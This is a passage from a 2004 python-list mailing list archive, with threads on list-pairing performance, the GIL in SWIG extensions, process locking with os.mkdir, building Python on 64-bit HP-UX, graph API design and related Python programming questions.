Apple and Microsoft, as well as many other companies. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Wed Sep 29 09:50:46 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 15:50:46 +0200 Subject: all pairs of items in a list without indexing? References: <mailman.4028.1096403649.5135.python-list@python.org> Message-ID: <1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com> Steven Bethard <steven.bethard at gmail.com> wrote: ... > for i, item1 in enumerate(l): > for item2 in l[i+1:]: > (item1, item2) > > but that seems like a lot of wasteful list slicing... Sorry, I don't get it: what's wasteful about it? Do you mean in terms of performance? With slicing: kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x in enumerate(l) for y in l[i+1:]]' 10 loops, best of 3: 1.43e+05 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x in enumerate(l) for y in l[i+1:]]' 10 loops, best of 3: 1.41e+05 usec per loop With xrange(len(...: kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j]) for i in xrange(len(l)) for j in xrange(i+1,len(l))]' 10 loops, best of 3: 1.61e+05 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j]) for i in xrange(len(l)) for j in xrange(i+1,len(l))]' 10 loops, best of 3: 1.62e+05 usec per loop You could use itertools.islice(l,i+1,len(l)) instead of l[i+1:], but in my tests, in this particular case, itertools appears to be slower than plain old slicing, albeit not by much -- about 1.45 to 1.46 vs plain slicing's 1.42 or so, and xrange's 1.61 or so. But maybe you can clarify the 'wasteful' observation better! Alex From ml at dynkin.com Sun Sep 12 22:17:22 2004 From: ml at dynkin.com (George Yoshida) Date: Mon, 13 Sep 2004 11:17:22 +0900 Subject: Newbie: tuple list confusion. In-Reply-To: <20040912195529.03437.00000338@mb-m27.aol.com> References: <20040912195529.03437.00000338@mb-m27.aol.com> Message-ID: <ci2vu5$10k$1@dojima-n0.hi-ho.ne.jp> Q852913745 wrote: > My book states that a=a+b and a+=b are the same, and that different 'types' of > sequence cannot be joined together. This is because list's += is implemented to work like list's extend method. Change "a += b" with "a.extend(b)". You get the same result. It might be counterintuitive, but it is the way '+=' is implemented. I'll add two pointers. Check them. * Concatenating a tuple to a list http://www.python.org/sf/575536 * list += string?? http://mail.python.org/pipermail/python-dev/2004-August/048389.html - george From peter at engcorp.com Fri Sep 3 19:14:37 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 03 Sep 2004 19:14:37 -0400 Subject: How to actually write a program? In-Reply-To: <Pine.LNX.4.44.0409040009270.1122-100000@kleigh.nl> References: <chano0$1gv$1@sparta.btinternet.com> <mailman.2856.1094249153.5135.python-list@python.org> <Pine.LNX.4.44.0409040009270.1122-100000@kleigh.nl> Message-ID: <NcKdnX-iX9f-Z6XcRVn-jQ@powergate.ca> Peter Kleiweg wrote: > I have been doing it the hard way, programming C with only > Emacs, no integrated software development platforms. This makes > for very efficient and powereful tools, running directly from > the command line (encouraged by using Linux), but you can only > go so far. I disagree. I do development the same way, after years of trying out a variety of fancier and fancier GUI IDE RAD things which in the end primarily served to lock me into the vendor's tools and didn't really improve my productivity. Now I do everything with Scite and the command line, with very rare side trips to use "import pdb; pdb.set_trace()". That's whether I'm doing GUI work, web work, realtime embedded software in C or assembly, network programming, multithreaded stuff, or anything else. I'm more productive than I've ever been and I haven't yet found a limit to how far I can go with this combination, now that I'm using test-driven development and lots of other practices from XP. > I started programming twenty years ago, with GW-Basic and > assembler. Later C, Prolog, Oberon (briefly), PostScript, > Tcl/Tk, JavaScript, Perl, ELisp, R. For me, the question is not, > how do I start programming, but how do I become a software > devellopper. I have peeked at wxPython and Boa Constructor, and > feel like a beginner, like I know nothing about writing > software. My advice to someone starting out, like the OP, or to someone who has 20 years under his belt is the same. If you want to be a good software developer, start to look at the ideas coming out of the agile development movement, and focus more attention on test-driven development than on anything else. It alone will revolutionize the software industry. -Peter From db3l at fitlinxx.com Thu Sep 30 18:19:05 2004 From: db3l at fitlinxx.com (David Bolen) Date: 30 Sep 2004 18:19:05 -0400 Subject: One thread freezes my whole application References: <GGt6d.8022$5O5.6405@news-server.bigpond.net.au> <415aa436$0$240$edfadb0f@dread14.news.tele.dk> <ETV6d.9689$5O5.8558@news-server.bigpond.net.au> Message-ID: <ufz4z4cyu.fsf@fitlinxx.com> Michael Zhang <jianqiz at bigpond.com> writes: > However, there is a new question (rather than a problem). Since my > Cmodule is created using SWIG, if there is any change in the original > C code, I have to run swig again to get new "Cmodule_wrap.c" file, and > add above two lines into that new wrapper file, then build a new > module. It's quite uncomfortable during debugging. One thought - if your wrapping is simple enough, you could make use of %exception in your .i file to set up a general wrapper that would release and then re-acquire the GIL around each of the wrapped functions automatically. So no need to post-process the SWIG output. Note that this assumes your C routines aren't going to be calling into the Python core routines, or back into Python. In either of those cases they'd need to re-acquire the GIL before doing so (except for a very limited number of Python core functions that can be called without owning the GIL). > Is there any way I > can use to achieve the same goal on Python side code, rather that on C > extension side? Can I just modify the Python code to release that GIL? > or Do I have any misunderstading about GIL, say, the concept about GIL > only applies to C extension rather than Python threading itself? No, you can't touch the GIL from the Python side. The GIL is purely a C-level interpreter construct. If you have Python code executing it already by definition owns the GIL and can't release it or else it wouldn't be allowed to be executing :-) Any GIL management needs to be done at C level. -- David From nigel.king at orthogonsystems.com Wed Sep 29 17:37:56 2004 From: nigel.king at orthogonsystems.com (Nigel King) Date: Wed, 29 Sep 2004 22:37:56 +0100 Subject: multiple instance on Unix In-Reply-To: <415AF802.1080909@bellsouth.net> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: <D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com> Jeremy, I have not explained very well what I wanted. I had a program that was called randomly by specific emails arriving which asked for certain information. If two or more emails arrived simultaneously then procmail asked two or more instances of my program to run. These instances interfered with one another, so I needed a process to stop that from happening. What my son devised was for the first to create a directory and run and when finished to delete the directory. The subsequent instances could try to create a directory but fail in an atomic piece of code. They would sleep for 1 or more seconds and then try again. The first of the subsequent instances that tries and succeeds stops the others from succeeding. Now, this works but I wondered whether anybody knew of a more standard bit of python code was available for ensuring that only one instance was processing. mutex does it for threads but not for instances as I understand it. The specification for a better process would include the ability to ensure that the queue was orderly, in other words some sort of FIFO would ensure that first served would have been the first to request the lock and fail. Our solution which does not satisfy the previous paragraph. import os, time try: # This program is not thread safe so we must protect it from being # trampled over by another copy # pause if another email is being processed for half an hour maximum t = time.time()+1800 locked = True while locked and time.time() < t: try: os.mkdir('instancelck') locked = False pass except : time.sleep(1) pass pass # do everything else ....... finally : os.rmdir('instancelck') # Removes the thread locking device so that another copy may run pass The timer was in case for any reason finally did not run successfully ever. Facundo's solution I have not yet studied. Thanks Nigel On 29 Sep 2004, at 18:59, Jeremy Jones wrote: > Nigel King wrote: > >> Hi, >> I have (my son has!) implemented protection against multiple >> instances causing havoc by creating a directory. This fails if it >> exists and thus in a single instruction one gets both the acquire and >> the test. >> >> Windows has it's mutex which solves the problem. Is there any better >> version for UNIX. >> >> Thanks >> >> Nigel King >> > Could you explain a little better what you're trying to do? I'm > guessing that you (your son - I'm looking forward to that day, myself > ) have multiple Python processes and you want only one process to be > able to create a directory? > > If so, you could do something like this: > > import time > import os > waiting_for_lock = 1 > > while waiting_for_lock: > try: > os.mkdir('/tmp/foo') > waiting_for_lock = 0 > except OSError: > print "could not create directory" > time.sleep(1) > #do whatever you need one and only one process to do... > > HTH > > Jeremy Jones > From davor.beuc at BRISIOVOvestigo.hr Mon Sep 27 06:55:47 2004 From: davor.beuc at BRISIOVOvestigo.hr (Davor Beuc) Date: Mon, 27 Sep 2004 12:55:47 +0200 Subject: emacs python-mode bug #1021885 In-Reply-To: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de> References: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de> Message-ID: <cj8rjl$eff$1@sunce.iskon.hr> Marcio Rosa da Silva wrote: > Hi! > > I am having some problem with python-emacs mode. I found a bug related > to it at sf.net: > > bug #1021885 shell gets set to 'cpython': > > http://sourceforge.net/tracker/?group_id=86916&atid=581349&func=detail&aid=1021885 > > > The problem is that when I try to run the script using C-c C-c, I get > the following message: > > "Wrong type argument: sequencep, cpython" If you first start the interpreter with C-c !, the execute-buffer function will work. From alanmk at hotmail.com Thu Sep 2 08:09:34 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Thu, 02 Sep 2004 13:09:34 +0100 Subject: design question In-Reply-To: <mailman.2760.1094120772.5135.python-list@python.org> References: <mailman.2760.1094120772.5135.python-list@python.org> Message-ID: <E%DZc.26366$Z14.8555@news.indigo.ie> [Ajay] > I am trying to write an application, say myapp, which does some xml > processing and then interacts with another application, say app2. > App2 is in Python and i can't change it. Show us a couple of simple examples of the type of XML processing you need to do. There may be simple ways to achieve your goals that don't actually require an XML parser at run time, or that would be efficient enough given a pure python parser/etc. It depends heavily on what type of XML processing you're doing. -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From kendamatej at yahoo.com Sat Sep 25 16:44:16 2004 From: kendamatej at yahoo.com (Matej Kenda) Date: 25 Sep 2004 13:44:16 -0700 Subject: 64-bit Python 2.3.latest on HP-UX 11.23: success Message-ID: <c4f45067.0409251244.74ee1760@posting.google.com> Hi all, This message is to let you know that I have successfully compiled the latest sources from the 2.3 branch on the abovementioned OS using the HP ansiC compiler version 5.50. Final status: success, it works fine --- The procedure: 1. Get the latest sources of 2.3 cvs -z3 -d:pserver:anonymous at cvs.sourceforge.net:/cvsroot/python co -r \ release23-maint python 2. Install the 64-bit OpenSSH downloaded from HP 3. Run configure script with additional CFLAGS export CFLAGS="-Ae +DD64 -mt -O0 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 " ./configure --prefix=/usr/local/aCCPython 4. Edit Makefile to add support for 64-bit compilation and turn off optimisation. I got the hint to remove the optimisation in the README file. I didn't try to turn the optimisation on, but it may work with the recent ansiC compiler. Diff between the generated Makefile and modified one: # Compiler options -OPT= -DNDEBUG -O -BASECFLAGS= +OPT= -O0 +BASECFLAGS= +DD64 -mt CFLAGS= $(BASECFLAGS) $(OPT) -CPPFLAGS= -I. -I$(srcdir)/Include -LDFLAGS= +CPPFLAGS= -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I. -I$(srcdir)/Include +LDFLAGS= +DD64 -mt -LINKFORSHARED= -Wl,-E -Wl,+s +LINKFORSHARED= -Wl,-E -Wl,-s +DD64 # Extra C flags added for building the interpreter object files. -CFLAGSFORSHARED= +CFLAGSFORSHARED= +z 5. Edit the pyconfig.h file to enable posix threads 6. Edit the setup.py to avoid using installed 32-bit libraries Index: setup.py =================================================================== RCS file: /cvsroot/python/python/dist/src/setup.py,v retrieving revision 1.171.6.2 diff -u -r1.171.6.2 setup.py --- setup.py 21 Oct 2003 20:01:21 -0000 1.171.6.2 +++ setup.py 24 Sep 2004 08:16:24 -0000 @@ -591,7 +591,8 @@ # The standard Unix dbm module: if platform not in ['cygwin']: - if find_file("ndbm.h", inc_dirs, []) is not None: +# if find_file("ndbm.h", inc_dirs, []) is not None: + if None is not None: # Some systems have -lndbm, others don't if self.compiler.find_library_file(lib_dirs, 'ndbm'): ndbm_libs = ['ndbm'] @@ -698,7 +699,8 @@ # # You can upgrade zlib to version 1.1.4 yourself by going to # http://www.gzip.org/zlib/ - zlib_inc = find_file('zlib.h', [], inc_dirs) +# zlib_inc = find_file('zlib.h', [], inc_dirs) + zlib_inc = None if zlib_inc is not None: zlib_h = zlib_inc[0] + '/zlib.h' version = '"0.0.0"' 7. run gmake all install --- Issues: 1. The following line makes a lot of warnings when compiling, because it looks like the HP compiler already sets this: /* Define to activate features from IEEE Stds 1003.1-2001 */ #define _POSIX_C_SOURCE 200112L 2. Shared library extensions for modules The ELF libraries on HP-UX should have the extension .so. I tries to change the library extension from .sl to .so. However, the install scrips searched for files with the .sl extension anyway. I didn't dig deep to solve this issue, because the library extensions aren't that important for me at this point. --- I can send the Makefile and the pyconfig.h that I used to compile the Python to anyone interested. Best regards, Matej -- Matej Kenda, HERMES SoftLab d.d., Slovenia From carribeiro at gmail.com Sat Sep 25 18:31:13 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 19:31:13 -0300 Subject: up with PyGUI! In-Reply-To: <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <mailman.3855.1096035438.5135.python-list@python.org> <Xns956EDE04B1B03OKB@130.133.1.4> <mailman.3907.1096136449.5135.python-list@python.org> <Xns956F822D03E24OKB@130.133.1.4> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> Message-ID: <864d370904092515311da67bb6@mail.gmail.com> On Sat, 25 Sep 2004 17:08:49 -0400, Ed Leafe <ed at leafe.com> wrote: > [... ]The only difference that I can see is yours > relies on an implicit technique to actually add the objects to their > container, while mine uses an explicit one. You are missing the point. There is an important difference between "imperative" and "declarative". Both are explicit -- the only thing that is implicit in the declarative version is the way the class declaration is going to be processed by the metaclass constructor. The descriptive style is more flexible, because the description can be passed around to other objects that can use it for anything imaginable. For example, a database entity descriptor (similar to the ones implemented in sqlobject) can be passed to the report generator wizard, or to the form generator wizard. The same form description can be used with multiple target environments much easier than an imperative version. It isolates the description of what you want from the actual implementation for the target environment. To some extent, the choice between declarative and imperative styles is a matter of personal taste. But also, it's about how to model problems using programming languages. There's a reason why some people use functional or declarative languages instead of imperative ones. As such, we may be forcing Python's syntactic limits by using it for this type of stuff. That's why I'm calling this an **experiment**. We need to have something to work with for some time to check if we are productive and if we feel comfortablee with the way we're working. As such, I invite you to try it a little bit, and to see how does it fit into your programming environment. I'm not in a hurry -- I just want to do it right and to make something useful. And you can rest assured that your observations are being taken with the most respect and interest on my part. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From ml at dynkin.com Thu Sep 30 23:49:33 2004 From: ml at dynkin.com (George Yoshida) Date: Fri, 01 Oct 2004 12:49:33 +0900 Subject: SegFault using deque in 2.4b3 In-Reply-To: <mailman.4158.1096594285.5135.python-list@python.org> References: <cjgvhs$c33$1@lnx107.hrz.tu-darmstadt.de> <cjhh7l$h9v$1@dojima-n0.hi-ho.ne.jp> <cjhjht$i9t$1@dojima-n0.hi-ho.ne.jp> <mailman.4158.1096594285.5135.python-list@python.org> Message-ID: <cjik2d$11r1$1@dojima-n0.hi-ho.ne.jp> Tim Peters wrote: >>A bit simpler version(narrow the problem). > > ... > > Thanks! It's more efficient to open a bug report. OK, I'll try to report to sourceforge once a bug is confirmed. George From peter at engcorp.com Wed Sep 1 07:29:42 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 07:29:42 -0400 Subject: Script executes script? In-Reply-To: <mailman.2718.1094034976.5135.python-list@python.org> References: <c869ac1b.0409010014.4c581fc@posting.google.com> <mailman.2718.1094034976.5135.python-list@python.org> Message-ID: <7Y2dncqabfw1L6jcRVn-gw@powergate.ca> Vladimir Ivanov wrote: > import os > path_to_python = "c:\\Python23\\python.exe" > path_to_script = "e:\\temp\\test.py" > os.system(path_to_python + " " + path_to_script) Ugh. At least use sys.executable to find the interpreter if you're going to do it this way. -Peter From dperl at rogers.com Mon Sep 13 23:44:47 2004 From: dperl at rogers.com (Dan Perl) Date: Tue, 14 Sep 2004 03:44:47 GMT Subject: directories problem References: <ci5jf2$t60$1@mughi.cs.ubc.ca> <JAs1d.50$znk1.41@news04.bloor.is.net.cable.rogers.com> <_66dnRiFcJCGxNvcRVn-pA@powergate.ca> Message-ID: <POt1d.113$KKl1.10@news04.bloor.is.net.cable.rogers.com> Many thanks, Peter! Just like someone in the thread you are mentioning, I have to go now and change a few scripts that I have. And I guess that should give a solution for Lowell also. In each script that's called with os.system( ), get the path of the script (use os.path.split) and append the 'config.txt' file (use os.path.join). Dan "Peter Hansen" <peter at engcorp.com> wrote in message news:_66dnRiFcJCGxNvcRVn-pA at powergate.ca... > Dan Perl wrote: > >> I'm not sure whether this is what Lowell is looking for, but I've been >> looking at a similar problem and I would also like to see a solution for >> that: can a python script know its own full path name? > > See near the end of this thread: > http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com > > Also note that scripts other than the main one can do it even more > easily: __file__, or if that's not always an absolute path, > os.path.abspath(__file__). > > -Peter From drs at remove-to-send-mail-ecpsoftware.com Wed Sep 8 00:45:28 2004 From: drs at remove-to-send-mail-ecpsoftware.com (drs) Date: Wed, 08 Sep 2004 04:45:28 GMT Subject: lauch browser on remote windows mach from linux python? References: <chkskn$ug4@odbk17.prod.google.com> Message-ID: <I7w%c.217930$bp1.133400@twister.nyroc.rr.com> <gry at ll.mit.edu> wrote in message news:chkskn$ug4 at odbk17.prod.google.com... > I want to lauch mozilla, running > on the PC, with the specified URL. * * * > > I can imagine a tiny python daemon running on each PC, listening for a > connection on a particular port, and reading a URL from it. > Can it just call os.system('mozilla ...')? > Or do I have to do some .com or .net thing? similar to the method you proposed, but using pure python, you might look at pyro (http://pyro.sourceforge.net). -d From mlh at furu.idi.ntnu.no Thu Sep 9 18:04:41 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Thu, 9 Sep 2004 22:04:41 +0000 (UTC) Subject: Standard graph API? References: <slrncik8tm.4g.mlh@furu.idi.ntnu.no> <YssWc.503921$Gx4.282534@bgtnsc04-news.ops.worldnet.att.net> <slrnciklv0.e8q.mlh@furu.idi.ntnu.no> <eppstein-4A56C8.14042623082004@news.service.uci.edu> <vCqZc.4817$w%6.3101@newsread1.news.pas.earthlink.net> Message-ID: <slrnck1krp.181.mlh@furu.idi.ntnu.no> In article <vCqZc.4817$w%6.3101 at newsread1.news.pas.earthlink.net>, Andrew Dalke wrote: >I've been off-line for a couple months so a bit late >following up to this thread... Well, I'm still looking for replies, so... ;) >I too would like some standard collection of graph >algorithms, but not necessarily a standard API. Hm. How would the algorithms work without a standard API? To clarify, by API I here mean a protocol, i.e. a definition of how a graph is supposed to behave -- *not* a standard implementation. >I work with a lot of molecular graphs which means I would prefer >using names like "atoms" and "bonds" instead of "nodes" and "edges". Sure -- but unless we have some standard protocol/API, it would be hard to get the algorithms to work with your graphs... I've been thinking a bit about the use of object adaptation here; I think it would be quite perfect. One possibility would be to use the functionality of PyProtocols, but that's hardly standard... But it would allow you to do stuff like graph = AdjacencyMap(someStrangeMolecularGraph) # or graph = adapt(someStrange..., AdjacencyMap) graphAlgorithm(graph) or the like... We could then have a few different perspectives on graphs, such as adjmap, incmap, adjarray and edgelist, for example. Just loose thoughts. An adjacency map would work just like a dict of lists (or something equivalent) and a dict of list could be used as one -- except, perhaps, for some "advanced" features which would be optional. (Modifying the graph is a bit awkward with this syntax, especially as you have to know whether the adjacency collection is a list or a set, for example.) >David Eppstein wrote: >> I would strongly prefer not to have weights or similar attributes as >> part of a graph API. I would rather have the weights be a separate dict >> or function or whatever passed to the graph algorithm. The main reason >> is that I might want the same algorithm to be applied to the same graph >> with a different set of weights. > >An alternative, which is both intriguing and sends alarm bells >ringing Sounds like a fun combination ;) >in my head is to have the algorithm >collection instead generate code as needed, so that >I can ask for, say, "depth first search using '.atoms' >to get a list of neighboring nodes." Wouldn't it be *much* better to use the established (but not standard) mechanism of object adaptation, as championed in PEP 246 and as implemented and extended upon in PyProtocols? Note that we could certainly do with *only* the PEP 246 mechanism (perhaps with some minor updates to the PEP) *without* PyProtocols, if we wanted a more minimalist solution. (If only adapt() could become a standard library function... <sigh> ;) >The result could exec'ed to generate usable Python dynamically, or >written to a file to be used as a normal Python module. See above -- adapt() would be much better IMO, and would fill the same need (as I see it). [snip] >There would need to be some standards on how the graph is used, like >"two nodes are the same iff 'node1 is node2'" Yeah. Or one might want to allow equality to determine this, so that the implementer could decide how to do it (nodes might be dynamically created front-end objects after all). >or "the result of getting the list of edges is iterable." Right -- that's typically the kind of API definition I'm after. Basically what I was proposing is a sort of "Python Graph API" in the same vein as the "Python DB API" (PEP 249), that is, simply an informative PEP about how graphs should behave to ensure interoperability, possibly with some standard wrapper functions (or maybe not). [snip] It seems there are at least a few people who are interested in the general concept, though. In case there is any merit in the idea, I've set up a temporary wiki at http://www.idi.ntnu.no/~mlh/python-graph-wiki.cgi I'll post a separate announcement about it. -- Magnus Lie Hetland The time you enjoy wasting is not wasted time http://hetland.org -- Bertrand Russel From andymac at bullseye.apana.org.au Fri Sep 3 19:15:56 2004 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Sat, 4 Sep 2004 09:15:56 +1000 (EST) Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <opsdq5katd35jo5o@news.gmane.org> References: <opsdq5katd35jo5o@news.gmane.org> Message-ID: <20040904090604.H11137@bullseye.apana.org.au> On Fri, 3 Sep 2004, Marco Aschwanden wrote: > sort() works in-place. > reverse() works in-place. > > The past tense of sort() indicates that a copy of the sequence is returned. > The past tense of reverse() indicates that an iterator over the original > sequence is returned. This may be a language nuance, but neither "sort" nor "reverse" are past tense - they are verbs, which imply an action. In this sense they are totally appropriate as method names for inplace operations, as they signify actions applied to the object. "sorted" and "reversed" have past tense. As I recall, there was some discussion on the python-dev mailing list on names for these methods for the non-inplace versions of these operations; these were the outcome. There is no chance before Python 3000 that sort() and reverse() will change name - there is too much code to break. ------------------------------------------------------------------------- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au (pref) | Snail: PO Box 370 andymac at pcug.org.au (alt) | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From noone at here.com Thu Sep 16 18:49:45 2004 From: noone at here.com (M. Clift) Date: Thu, 16 Sep 2004 23:49:45 +0100 Subject: All together now, I'm a lumberjack Message-ID: <cid579$uds$1@newsg2.svr.pol.co.uk> Hi All, Does anyone know of any python stuff related to music notation for windows? I'd eventually like to write some sort of notation program myself, but I am at a loss at knowing where to start. Would anyone know, do all notation programs work in a similar way to display music, and could someone give me an idea as to how they go about it. Thanks From abra9823 at mail.usyd.edu.au Tue Sep 7 10:45:12 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Wed, 8 Sep 2004 00:45:12 +1000 Subject: minidom parse error Message-ID: <1094568312.413dc9780c8d7@www-mail.usyd.edu.au> hi! i am parsing the attached document. the code is parser = make_parser('xml.sax.drivers2.drv_xmlproc') ruleSet = parse(ruleSetFile, parser=parser) i am using python2.3.4 with PyXML version 0.8.1 i get the following error Traceback (most recent call last): File "evaluator.py", line 59, in ? ea = ae.evaluate("complywitheudirective.xml", "policy-eg1.xml", 0) File "evaluator.py", line 22, in evaluate ruleSet = parse(ruleSetFile, parser=parser) File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line 1912, in pa rse {'parser': parser, 'bufsize': bufsize}) File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line 1899, in _d o_pulldom_parse toktype, rootNode = events.getEvent() File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 265, in get Event self.parser.feed(buf) File "C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py", lin e 96, in feed self._parser.feed(data) File "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlutils.py", lin e 332, in feed self.do_parse() File "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py", line 93, in do_parse self.parse_start_tag() File "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py", line 197, in parse_start_tag self.app.handle_start_tag(name,attrs) File "C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py", lin e 368, in handle_start_tag AttributesNSImpl(attrs, rawnames)) File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 98, in star tElementNS prefix = self._current_context[a_uri] KeyError: u'http://www.w3.org/2001/02/appelv1' any ideas why? thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. -------------- next part -------------- A non-text attachment was scrubbed... Name: complywitheudirective.xml Type: text/xml Size: 2973 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/070ff205/attachment.xml> From JSmuts at clover.co.za Wed Sep 8 01:29:11 2004 From: JSmuts at clover.co.za (Jaco Smuts) Date: Wed, 8 Sep 2004 07:29:11 +0200 Subject: Simple Web Templating system with execution in templates In-Reply-To: <reisap7tha.fsf@random-node.example.org> Message-ID: <OFF900FB6D.949767BB-ON42256F09.001D8FED-42256F09.001E238A@clover.co.za> Hello Chris I've looked into various web relating frameworks for Python, unfortunately (to my mind) it seems to be in a bit of disaray; however I've decided to opt for mod_python alone. It includes psp (similair to asp, php, jsp). This article discusses how these can be used to implement a templating system that doesn't even break the model-view-controller paradigm (that much): http://www.onlamp.com/pub/a/python/2004/02/26/python_server_pages.html There's also a sample psp site (availabe from the main mod_python site) that more or less implements this approach. What I like most about using this (admittedly I have only started down this road) is that I write Python code and not some or other derrivative. good luck jaco Chris Stiles <to83-t7cw at spamex.com> Sent by: python-list-bounces+jsmuts=clover.co.za at python.org 09/07/2004 09:46 PM To: python-list at python.org cc: Subject: Simple Web Templating system with execution in templates Hi -- Does anyone have any recommendations for simple web templating systems for python that also allow execution of python code within the the templates themselves ? So far I'm using Albatross, and it's nice, though it would be nicer still if it had proper support for 'code tags' ala <? ?>. -- regards, chris -- http://mail.python.org/mailman/listinfo/python-list -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/59943f77/attachment.html> From ialbert at mailblocks.com Thu Sep 23 23:31:32 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 23 Sep 2004 23:31:32 -0400 Subject: Design recommendation wanted. In-Reply-To: <o%I4d.28851$bL1.1167813@news20.bellglobal.com> References: <o%I4d.28851$bL1.1167813@news20.bellglobal.com> Message-ID: <Q4GdnYUa09WPCM7cRVn-sA@giganews.com> Yannick Turgeon wrote: > With this solution, I will get lost very soon. I feel that I would need a > kind of State-Managing system/class that would keep track of the command It would simplify your life if you dealt with the problems (that can be dealt with) on the spot, as they happen. Don't use the exceptions as a mechnism to jump out of a block of code. This is so much easier to follow: if packet_type == ERROR1: ...deal with it.. elif packet_type == ERROR2: ...deal with it ... else: try: c = PACKETS[packet_type](data) except ...: ...deal with this You don't have to have to put your code in one try/except block. This only depens on the nature of the response that you want to invoke when an exeption occurs. Feel free to nest them as needed. Keep the error and the response to it as one logical entity as much as possible. Istvan. From danperl at rogers.com Tue Sep 28 16:27:28 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 16:27:28 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> <mfydnUd5Idex1srcRVn-pQ@rogers.com> <tpudnXILROwO88rcRVn-sw@powergate.ca> <mailman.3947.1096250696.5135.python-list@python.org> <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com> <efidneft_NO8p8XcRVn-tQ@rogers.com> <mailman.3996.1096354841.5135.python-list@python.org> <Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <uekkmibrv.fsf@fitlinxx.com> <WZydndBk-MS_OMTcRVn-ug@rogers.com> <u655yi527.fsf@fitlinxx.com> Message-ID: <d_mdnXKL0cmpVMTcRVn-jA@rogers.com> "David Bolen" <db3l at fitlinxx.com> wrote in message news:u655yi527.fsf at fitlinxx.com... > ................... > Even if you do have a console showing exceptions, not all exceptions > are cleanly reproduceable or predictable. I may have code that > typically runs just great, but that occasionally generates an > exception. Breakpoints may not work if the code runs many times > successfully before failing (due to varieties in calling parameters at > runtime). Perhaps a watchpoint might work but you'd have to know > enough about the failure to establish the watchpoint parameters. > > Instead, with Wing, just start it up, let it run (or if you need to, > run it independently of Wing but with the stub loaded) until the > exception occurs. No hassles or up front work. Okay, I can see this point. The idea of the loaded stub sounds especially interesting because you can just run the application normally, independent of an IDE. In my experience with sporadic problems like the ones you are describing, debuggers are usually not much help, except after the fact, for instance debugging a core of a C/C++ program. If the problem is caused by a race condition, a debugger can be useless because it affects the scheduling of threads. How does the loaded stub work in cases like that? Does it affect threads in any way? >> The false positive that I encountered was indeed in 'sre', invoked by >> pickle. I think it was an IndexError which should be a normal thing if >> they >> are using it to stop at the end of an iteration. So I'm not convinced >> this >> would constitute "minimal" false positives. > > Did you get any others? I was talking "minimal" in terms of volume, > not necessarily significance (which may be more subjective). I didn't > have much of an issue choosing to ignore the sre case (after which it > never showed up again for my project). It was the only one. My point was that even just this particular exception should happen very often. So even volume, not only significance, is relative. I, for one, was not comfortable ignoring an exception, especially without a very clear and detailed explanation on why the false positive happened in the first place and what happens with the exception if I ignore it. > (...) >> I would need to first see an example of generating an exception without >> knowing it and that exception still being relevant although it is being >> handled. > > I'd split that into two parts - (a) generating the exception without > knowing it, and (b) it being relevant even if handled. > > For (a), I can't seem to come up with a good concise example, so maybe > I'll just agree that you may know about, but not be able to act on it > in a 